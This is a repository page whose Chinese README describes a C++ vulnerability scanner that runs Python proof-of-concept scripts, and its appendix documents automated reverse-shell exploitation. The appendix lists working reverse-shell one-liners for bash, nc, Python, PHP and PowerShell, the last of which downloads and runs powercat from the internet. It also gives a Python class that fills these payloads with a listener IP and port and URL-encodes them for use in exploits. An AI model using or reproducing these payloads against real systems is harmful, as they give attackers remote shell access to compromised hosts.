# VulnerabilityScanningSecurityTool **Repository Path**: greetdawn/VulnerabilityScanningSecurityTool ## Basic Information - **Project Name**: VulnerabilityScanningSecurityTool - **Description**: 扫描漏洞工具 - **Primary Language**: C++ - **License**: Not specified - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2020-05-11 - **Last Updated**: 2020-12-19 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README [toc] # 功能介绍 ## 多主机进行多漏洞检测功能 - 支持漏洞筛选 - 主机支持IP/IP段 - 主机支持自定义IP列表文件 ## 多主机端口探测功能 # 设计介绍 ## 主要业务逻辑 1 解析gconfig.xml获取poc的筛选信息,以及poc的信息 2 确定目标(主机) 3 确定执行的POC集(根据用户选择筛选) 4 执行Python脚本扫描目标(主机)的开放端口 5 根据POC的信息找到对应的Python脚本,执行它 6 接收Python脚本的返回值 7 判断是否具有漏洞:有显示,没有就不显示任何信息 ## gconfig.xml文件 - 最外标签`` - `` system.针对操作系统进行筛选. - `` application.针对中间件进行筛选. - `` 是否是cms漏洞 - `` name: poc文件名 tag: 漏洞名 folder: poc文件所在的文件夹 sys:筛选 app:筛选 cms:筛选 ports:预定义的扫描端口. > 单端口:`8009` > > 多端口,用空格隔开:`8009 8080` description:描述性信息,用于显示在扫描结果表中的**描述**这一列. > 作用: 解释漏洞的基本信息,如果有补丁地址也在这里给出. > > 超链接的使用方法: > > 因为``在解析xml时会当成一个独立标签,所以需要针对这个进行处理. > > 用`nisolinkAS`代替`` > > 如:`http://www.baidu.com` 应更新为:`nisolinkAShttp://www.baidu.com>http://www.baidu.comnisolinkAE` vulnInfo:保存对应的漏洞信息文件. ## 端口扫描模块 ### 参数格式 ` <欲扫描的端口> <线程数量>` > 参数1:目标的IP地址. > > 参数2:程序所在的绝对路径(包含最后斜杠) > > 参数3: > > - 0:用常规端口扫描. 常规端口在扫描Python文件中由作者定义. > - 其他:端口范围.如"233-666" > > 参数4:开启多少个线程用于扫描端口(不建议超过20) ### 输出格式 输出端口的字符串用`NISOPORTST`和`NISOPORTED`包裹起来.**输出内容为`host port`,中间用空格隔开**. 如,想要输出`172.16.5.204`主机上开放了端口`433`, 正常写法:`print('172.16.5.204 433')`,应修改为:`print'NISOPORTST172.16.5.204 433NISOPORTED'`. ## 调用POC脚本模块 ### 调用参数格式 ` ` > 参数1:程序所在的绝对路径(包含最后的反斜杠) > > 参数2:主机IP > > 参数3:端口 ### 返回值 `exit(int)` > exit(0):存在漏洞. > > exit(1):不存在漏洞. > > exit(-1):异常. # 附:自动化exp反弹shell实现 ### 0x01 反弹shell的方式 1、nc反弹 - 攻击端 nc -lvvp port 对本地端口进行监听 - 被攻击端 - linux环境: - /bin/bash -i >& /dev/tcp/监听主机ip/监听端口 0>&1 - nc -e /bin/bash 监听主机ip 监听端口 #默认情况下系统可能没有nc或者被阉割的版本,无法使用-e参数 - python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('**监听主机ip**',**监听端口**));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" - php -r '$sock=fsockopen("**监听主机ip**",**监听端口**);exec("/bin/bash -i <&3 >&3 2>&3");' - windows环境: - powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c **监听主机ip** -p **监听端口** -e cmd 此种情况如果目标主机联网或者老版本windows系统没有自带的powershell可能无法实现 2、python脚本实现nc功能 ### 0x02 参数定义 1、工具自化实现方式 - 脚本接受参数 python exp.py config.json ip1 ip2 port reverse_type - ip1 :存在漏洞的目标主机ip - ip2 :监听主机的ip(指运行程序主机的ip) - port: 反弹shell的监听端口 - reverse_type: 为反弹shell的方式 - 1:表示bash反弹 - 2:表示nc反弹 - 3:表示python反弹 - 4:表示php反弹 - 5:表示windows下的powershell反弹 ### 0x03 功能代码封装 - 参数格式实例,exp编写时,参数封装就按照此种格式进行,注意最后两位参数传递时一定要强转成整形使用 ``` python2 CVE-2020-10238_P2.py config.json 172.16.5.219 58.58.58.88 4444 5 ``` ```python #!/usr/local/env python3 #coding: utf-8 import json import sys import urllib class Jsonparse(object): def __init__(self, file_path): self.file_path = file_path def parse(self): file = open(self.file_path, 'rb') jsonfile = json.load(file) # print(jsonfile['tomcat']) # print(jsonfile) return jsonfile # if __name__ == '__main__': # obj = Reverse_shell('172.16.5.211', 3555, 5) # print(obj.select_type()) # def main(): # obj = Jsonparse('./config.json') # obj.parse() # if __name__ == '__main__': # main() """ Readme: 主要实现对shell反弹方式的封装 脚本接受参数 python exp.py config.json ip1 ip2 port reverse_type - ip1 :存在漏洞的目标主机ip - ip2 :监听主机的ip(指运行程序主机的ip) - port: 反弹shell的监听端口 - reverse_type: 为反弹shell的方式 - 1:表示bash反弹 - 2:表示nc反弹 - 3:表示python反弹 - 4:表示php反弹 - 5:表示windows下的powershell反弹 """ class Reverse_shell(): def __init__(self, ip, port, reverse_type): self.ip = ip self.port = port self.reverse_type = reverse_type self.reverse_dict = { "bash": "/bin/bash -i >& /dev/tcp/{}/{} 0>&1", "nc": "nc -e /bin/bash {} {}", "python": "python -c \"import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('{}',{}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);\"", "php": "php -r '$sock=fsockopen(\"{}\",{});exec(\"/bin/bash -i <&3 >&3 2>&3\");'", "powershell": "powershell IEX (New-Object System.Net.Webclient).DownloadString ('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c {} -p {} -e cmd" } def select_type(self): if self.reverse_type == 1: cmd = self.reverse_dict['bash'].format(self.ip, self.port) return urllib.quote(cmd) elif self.reverse_type == 2: cmd = self.reverse_dict['nc'].format(self.ip, self.port) return urllib.quote(cmd) elif self.reverse_type == 3: cmd = self.reverse_dict['python'].format(self.ip, self.port) return urllib.quote(cmd) elif self.reverse_type == 4: cmd = self.reverse_dict['php'].format(self.ip, self.port) return urllib.quote(cmd) elif self.reverse_type == 5: cmd = self.reverse_dict['powershell'].format(self.ip, self.port) return urllib.quote(cmd) ```